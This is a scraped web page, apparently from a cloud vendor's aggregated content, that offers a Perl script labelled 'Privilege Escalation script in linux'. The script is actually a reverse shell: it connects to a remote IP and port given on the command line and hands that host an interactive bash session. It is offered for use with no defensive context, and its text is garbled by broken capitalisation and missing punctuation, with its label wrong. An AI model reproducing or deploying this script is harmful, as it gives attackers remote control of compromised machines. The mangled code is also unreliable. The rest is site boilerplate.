Privilege Escalation script in linux

Source: Internet
Author: User
Privilege Escalation script in linux! The Code is as follows #! Usrbinperl-w # usestrict; useSocket; useI: Handle; ($ # ARGV + 1! 2) {pr $ # ARGV $ 0Remote_IPRemote_Port \ n; exit1;} my $ remote_ip $ ARGV [0]; my $ remote_port $ ARGV [1]; my $ protogetprotobyname (tc

Privilege Escalation script in linux! The Code is as follows:
#! /Usr/bin/perl-w
#

Use sTrIct;
Use Socket;
Use I: Handle;

($ # ARGV + 1! = 2 ){
Pr $ # ARGV $0 Remote_IP Remote_Port n;
ExIt 1;
}

My $ remote_ip = $ ARGV [0];
My $ remote_port = $ ARGV [1];

My $ proto = getprotobyname (tCp);
My $ pack_aDdR = sockaddr_in ($ remote_port, inet_aton ($ remote_ip ));

My $ shell = '/bin/bash-I ';

(SOCK, AF_INET, SOCK_STREAM, $ proto );

STDOUT-> autoflush (1 );
SOCK-> autoflush (1 );

Connect (SOCK, $ pack_addr) or die can not connect: $ !;

Open STDIN, <& SOCK;
Open STDOUT,> & SOCK;
Open STDERR,> & SOCK;

Pr Enjoy the shell. n;

System ($ shell );
Close SOCK;

Exit 0;
Save the above Code as *. pl

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.